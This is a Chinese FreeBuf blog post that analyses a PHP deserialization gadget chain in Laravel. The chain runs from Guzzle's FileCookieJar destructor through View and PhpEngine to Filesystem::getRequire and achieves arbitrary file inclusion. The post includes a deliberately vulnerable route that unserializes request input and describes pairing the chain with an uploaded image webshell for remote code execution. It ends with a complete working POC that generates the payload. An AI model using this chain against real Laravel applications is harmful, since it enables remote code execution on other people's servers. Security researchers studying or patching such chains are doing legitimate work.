freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

最新Laravel反序列化文件包含
Jiangcc 2023-02-15 13:05:10 173346
所属地 四川省

情人节实在是太无聊了,翻了半天Laravel框架的代码,搞了一条没回显的任意文件包含反序列化链出来。

1.反序列化调用链分析

入口就是CVE-2022-30779的起点,也就是GuzzleHttp\Cookie\FileCookieJar#__destruct()
image.png
调用GuzzleHttp\Cookie\FileCookieJar#save()方法时是将$this->filename当做string传入的,$this->filename可控,所以这里是可以调用任意类的__toString()方法的。我找到的可以利用的__toString()方法是Illuminate\View\View#__toString():
image.png
调用了render()方法,跟进看一下:
image.png
调用了renderContents()方法,继续跟:
image.png
跟进这个getContents()方法:
image.png
这里的$this->engine可控,所以可以调用任意类的get()方法了,我找到的可以利用的是Illuminate\View\Engines\PhpEngine#get():
image.png
它这里调用了evaluatePath()方法,跟进看一下,这里调用了ob_start()函数,所以这是个没有输出的文件包含了,只能在有上传功能的时候实现rce:
image.png
$this->files可控,可以调用任意类的getRequire()方法。找到的是Illuminate\Filesystem\Filesystem#getRequire()
image.png
执行到return require $__path;则实现了文件包含。
验证一手,github下载个最新的Laravel,composer install安装。然后在routes\web.php添加个路由:

use Illuminate\Support\Facades\Route;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

//Route::get('/', function () {
//    return view('welcome');
//});

Route::get('/', function (\Illuminate\Http\Request $request) {

    $str = base64_decode($request->input("str"));
    unserialize($str);
    return "test";
});

生成一个图片马:
image.png
反序列化文件包含:
image.png
image.png
最终poc:

namespace GuzzleHttp\Cookie{

    use Illuminate\View\FileViewFinder;
    use Illuminate\View\View;
    use Illuminate\View\Factory;
    use Illuminate\View\Engines\PhpEngine;
    use Illuminate\View\Engines\EngineResolver;
    use Illuminate\Filesystem\Filesystem;

    class CookieJar{
        private $cookies = [];
        function __construct() {
            $this->cookies[] = [];
        }
    }

    class FileCookieJar extends CookieJar {
        private $filename;
        function __construct() {
            parent::__construct();
            $this->filename = new View(new Factory(new EngineResolver(),new FileViewFinder(new Filesystem(),["./"])),new PhpEngine(new Filesystem()),1,"./info.php",["index"]);
        }
    }
}
namespace Illuminate\View{

    use Illuminate\Events\Dispatcher;
    use Illuminate\Filesystem\Filesystem;
    use Illuminate\View\Engines\EngineResolver;
    use Illuminate\View\Engines\PhpEngine;


    class FileViewFinder implements ViewFinderInterface{
        public function __construct(Filesystem $files, array $paths, array $extensions = null){}
    }
    interface ViewFinderInterface{}
    class Factory{
        protected $shared = [];
        public function __construct(EngineResolver $engines, ViewFinderInterface $finder)
        {
            $this->shared = [];
            $this->finder = $finder;
            $this->events = new Dispatcher();
            $this->engines = $engines;
        }
    }
    class View{
        protected $data;
        public function __construct(Factory $factory, PhpEngine $engine, $view, $path, $data = [])
        {
            $this->view = $view;
            $this->path = "file"; 
            $this->engine = $engine;
            $this->factory = $factory;
            $this->data = [];
        }
    }
}
namespace Illuminate\View\Engines{

    use Illuminate\Filesystem\Filesystem;

    class PhpEngine{
        protected $files;
        public function __construct(Filesystem $files)
        {
            $this->files = $files;
        }
    }
}
namespace Illuminate\Filesystem{
    class Filesystem{

    }
}
namespace Illuminate\View\Engines{
    class EngineResolver{

    }
}
namespace Illuminate\Events{

    use Illuminate\Contracts\Events\Dispatcher as DispatcherContract;

    class Dispatcher implements DispatcherContract{

    }

}
namespace Illuminate\Contracts\Events{
    interface Dispatcher{};
}


namespace{

    use GuzzleHttp\Cookie\FileCookieJar;

    $pop = new FileCookieJar();
    echo urlencode(base64_encode(serialize($pop)));
}
# web安全
本文为 Jiangcc 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Jiangcc LV.2
Ji@ng
  • 1 文章数
  • 0 关注者